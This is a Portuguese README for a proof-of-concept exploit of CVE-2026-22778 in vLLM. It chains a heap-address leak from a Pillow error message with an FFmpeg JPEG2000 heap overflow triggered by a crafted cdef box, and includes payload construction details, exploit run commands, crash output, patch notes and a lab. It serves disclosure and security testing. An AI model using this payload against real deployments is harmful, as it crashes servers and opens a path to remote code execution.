Prova de conceito de exploit para CVE-2026-22778, uma RCE não autenticada no processamento de vídeo do vLLM, demonstrando divulgação de endereço de heap e um estouro de buffer de heap no decodificador JPEG2000 do FFmpeg. Inclui um laboratório vulnerável para testes autorizados.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| Afetado | vLLM >= 0.8.3, < 0.14.1 (implantações que servem modelos de vídeo) |
| Corrigido em | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Bug subjacente | CVE-2025-9951 — estouro de buffer no heap no decodificador JPEG2000 do FFmpeg |
Duas falhas separadas encadeadas. Um vllm serve padrão não possui
autenticação, portanto ambas são alcançáveis sem autenticação em /v1/chat/completions e
/v1/invocations.
Quando uma imagem falha ao ser analisada, o Pillow lança uma exceção cuja mensagem
incorpora o repr() do objeto BytesIO do qual estava lendo:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
O vLLM transformava falhas de carregamento de mídia em um HTTP 400 e retornava
exc.detail ao cliente sem tratamento
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- vaza o endereço literalmente
...
Esse único endereço reduz o ASLR do heap de ~32 bits de entropia para aproximadamente 3, que é o que torna o estágio 2 explorável em vez de apenas uma falha.
Uma video_url é buscada pelo servidor e entregue ao OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (empacotado em opencv-python-headless < 4.13)
O vLLM fixou opencv-python-headless >= 4.11.0, que acompanha o FFmpeg 5.1.x. Seu
decodificador JPEG2000 seleciona o plano de destino diretamente da caixa de
definição de canal (cdef) do arquivo — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* do componente */
int h = tile->comp[compno].coord[1][1] - ...; /* não do plano! */
plane é controlado pelo atacante, mas w/h vêm do componente que está sendo
decodificado, e nada verifica se um cabe no outro. Uma entrada cdef de
cn=0, asoc=2 envia o componente 0 — o plano luma em resolução total — para o
plano 1, o plano chroma com subamostragem 2×2.
Para o quadro de 150×64 que esta PoC usa:
| tamanho | |
|---|---|
| Componente Y (gravado) | 150 × 64 = 9.600 bytes |
| Plano U (destino) | 75 × 32 = 2.400 bytes |
| Estouro | 7.200 bytes além da alocação |
O FFmpeg aloca cada plano como seu próprio AVBuffer, então o estouro percorre
chunks adjacentes do heap — incluindo structs AVBuffer que contêm um ponteiro de
função free. Combinado com o vazamento do estágio 1, sobrescrever esse
ponteiro é o que transforma a corrupção em execução de código.
Esta PoC para na corrupção de memória. Ela prova a gravação fora dos limites ao matar o processo do servidor. O grooming do heap e a sobrescrita do ponteiro de função deliberadamente não são implementados.
lab/app.py é uma reimplementação mínima do caminho de ingestão multimodal do
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend e o
tratador de erros anterior ao patch, cada um anotado com o arquivo upstream que espelha. O
runtime do modelo é simulado: a vulnerabilidade vive inteiramente na ingestão
de mídia, que é executada antes da inferência e não precisa de GPU ou pesos de modelo.
Tudo no caminho do ataque é real — a mesma chamada Pillow que
vaza o endereço, e a mesma chamada cv2.VideoCapture em um
opencv-python-headless==4.11.0.86 sem patch (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Opções:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # entregar o payload via HTTP
python3 exploit.py --write-payload evil.jp2 # apenas gravar o arquivo malicioso
O exploit é apenas biblioteca padrão pura — sem dependências.
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
E no lado do servidor:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Encerramento:
docker compose down
203 bytes, construídos do zero em build_payload(). Um contêiner JP2 contendo um
codestream JPEG2000 mínimo que declara três componentes com subamostragem 4:2:0
(para que o FFmpeg aloque um quadro yuv420p), além de uma caixa cdef que
os remapeia:
cn=0, typ=0, asoc=2 <-- componente 0 (resolução total) no plano 1 (subamostrado)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
Os dados de coeficiente estão vazios. O decodificador ainda aloca o quadro a partir do
cabeçalho SIZ e ainda executa o loop de gravação, portanto nenhum dado de imagem real é necessário.
vLLM 0.14.1, por meio de três PRs:
O FFmpeg upstream agora rejeita um mapa cdef que não seja uma permutação dos
canais, e deriva o formato de pixel dos índices remapeados:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Trocar o pin do laboratório para opencv-python-headless>=4.13.0 faz o mesmo
payload falhar inofensivamente com error during processing marker segment ff51.
Se você não puder atualizar: não sirva modelos de vídeo, coloque autenticação na frente
da API e restrinja a busca de mídia com --allowed-media-domains.
docker compose compilar para a arquitetura arm64
nativa (o padrão). Forçar --platform linux/amd64 executa o
contêiner sob emulação, onde o processo que aborta trava em vez de
sair e a falha é mais difícil de observar.Para fins educacionais e testes de segurança autorizados apenas. Execute-o contra o laboratório neste repositório ou em sistemas para os quais você tenha permissão explícita de teste.